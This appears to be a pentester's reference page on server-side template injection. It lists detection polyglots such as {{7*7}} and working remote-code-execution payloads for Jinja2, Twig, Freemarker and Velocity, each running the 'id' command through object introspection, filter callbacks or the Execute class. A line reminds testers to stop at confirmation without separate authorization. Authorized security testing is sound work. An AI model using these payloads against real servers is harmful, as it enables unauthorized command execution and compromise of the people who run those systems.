Parser and control bypass reference

SSTI by engine

Detect the engine with the math polyglot, then use the engine-specific chain to RCE. {{7*7}}→49 = Jinja2/Twig family; {{7*'7'}}→7777777 distinguishes Jinja2 from Twig.

sstirce

Stable IDbypass:sstiLast updated2026-08-20Last verifiedLegacy review pendingProvenanceCurated reference

Compare behaviorA bypass claim needs a control request and a clear boundary that changed.

Stop after confirmation. Do not escalate impact without separate authorization.

Detection

Probe multiple syntaxes; the arithmetic result fingerprints the engine.

${{<%[%'"}}%\
{{7*7}}
${7*7}
#{7*7}
{{7*'7'}}

Jinja2 / Python RCE

Reach `os` via object introspection; cycler/lipsum/request are common gadgets when config is filtered.

{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{cycler.__init__.__globals__.os.popen('id').read()}}
{{lipsum.__globals__.os.popen('id').read()}}

Twig / PHP RCE

Filter-callback gadget yields command execution.

{{['id']|filter('system')}}
{{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}

Freemarker / Java

`Execute` utility class is the canonical Freemarker RCE.

<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

Velocity / Java

Reflection into Runtime; adjust for available context objects.

#set($e=$class.inspect('java.lang.Runtime').type.getRuntime().exec('id'))

Version history: normalized permanent page created 2026-08-20.